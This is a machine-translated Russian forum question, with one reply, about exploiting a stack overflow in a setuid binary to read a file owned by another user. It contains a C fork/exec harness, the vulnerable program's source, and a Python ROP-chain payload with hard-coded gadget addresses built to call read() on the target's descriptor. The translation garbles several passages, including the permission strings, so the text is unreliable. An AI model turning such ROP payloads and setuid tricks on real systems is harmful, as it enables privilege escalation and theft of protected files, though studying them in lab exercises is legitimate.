Имеет эту программу, он открывает дескриптор файла в/etc/secret, который принадлежит пользователюA и устанавливается только для чтения пользователем.Дескриптор файла в fork(), когда дочерний элемент выполняет execve с установленным битом setuid
-r -------- 1 ПользовательА ПользовательА секрет
Программы вилы Ребенок с помощью execve, который является бинарным с УИПОМ бита Пользователь
-r-стер-х- - 1 userA userB prog
prog имеет переполнение буфера. Стек не исполняется. Мне удалось написать цепочку ROP, которая вызывает read(). Для чтения мне нужен параметр дескриптора, я бы хотел, чтобы он был дескриптором/etc/secret.
Можно ли изменить его, чтобы/etc/secret дескриптор был открыт? С тех пор я получил разрешение, которое имеет смысл, поскольку я называю его userB. Ребенок запускает программу с установленным битом setuid (userA), поэтому, возможно, есть способ вызвать open в стадии выполнения дочернего элемента? Есть идеи?
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
int main(void)
{
pid_t pid;
int fd;
int fd1;
fd1 = open("/etc/secret",O_RDONLY); //file I want to read
if (fd1 < 0) {
perror("open");
return EXIT_FAILURE;
}
printf("FD:%d\n",fd1);
fd = open("in.txt", O_RDONLY); //ROP Chain,Payload that makes read()
if (fd < 0) { //I pass the file descriptor as a parameter
//Normally a integer 3
perror("open");
return EXIT_FAILURE;
}
if ((pid = fork()) < 0) {
perror("fork");
return EXIT_FAILURE;
} else if (! pid) { /* child */
dup2(fd, STDIN_FILENO);
close(fd);
execlp("/opt/prog", "prog", (char *)0);
perror("exec");
return EXIT_FAILURE;
} else { /* parent */
printf("Parent waiting\n");
}
return EXIT_SUCCESS;
}
Обновление 1:
прог Исходный код:
#include <stdio.h>
void main(){
int buf[8];
read(0, buf, 256);
}
Обновление 2:
Роп цепь
#!/usr/bin/env python
import struct
payload = "A" * 24
payload += struct.pack("<Q", 0x00000000004005b6)
payload += "A" * 8
payload += struct.pack("<Q", 0x0)
payload += struct.pack("<Q", 0x1)
payload += struct.pack("<Q", 0x00000000006006c8)
payload += struct.pack("<Q", 0x3) # Value for RDI register
payload += struct.pack("<Q", 0x0000000000600009) # Value for RSI register
payload += struct.pack("<Q", 0x8) # Value for RDX register
payload += struct.pack("<Q", 0x00000000004005a0)
payload += "E"*56
payload += struct.pack("<Q", 0x00000000004003e0)
f = open("in.txt", "w")
f.write(payload)
Обновление 3
Данная программа испытаний./И т.д./секрет принадлежит ПользовательА и установить читать только ПользовательА, я запустить программу, как USERB:
test.c
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
int main(void)
{
pid_t pid;
int fd;
int fd1;
fd1 = open("/etc/secret",O_RDONLY); //file I want to read
if (fd1 < 0) {
perror("open");
return EXIT_FAILURE;
}
printf("FD:%d\n",fd1);
}
Выход:
./test открыт: Permission denied
Так что, я думаю, нет никакого способа обойти его, open() проверяет разрешения на файл перед возвратом дескриптора?
Что такое "rop chain"? –
https://en.wikipedia.org/wiki/Return-oriented_programming –
Поскольку вы не добавляли 'O_CLOEXEC' в' open() 'вызов для'/etc/secret', этот файл открыт в дочернем для чтение. Вам просто нужно указать дескриптор файла в соответствующем месте. Вы можете убедиться, что он всегда является файловым дескриптором 3 в исходной программе, используя 'dup2()' (или 'dup()', но это сложнее) сделать это так. В классических системах POSIX проблем больше не будет; Я не хочу сказать, что Linux не как-то перепроверяет разрешения на дескриптор открытого файла в процессе exec'd, но маловероятно, что он это сделает. Вы используете 'execlp()', а не 'execvp()'. –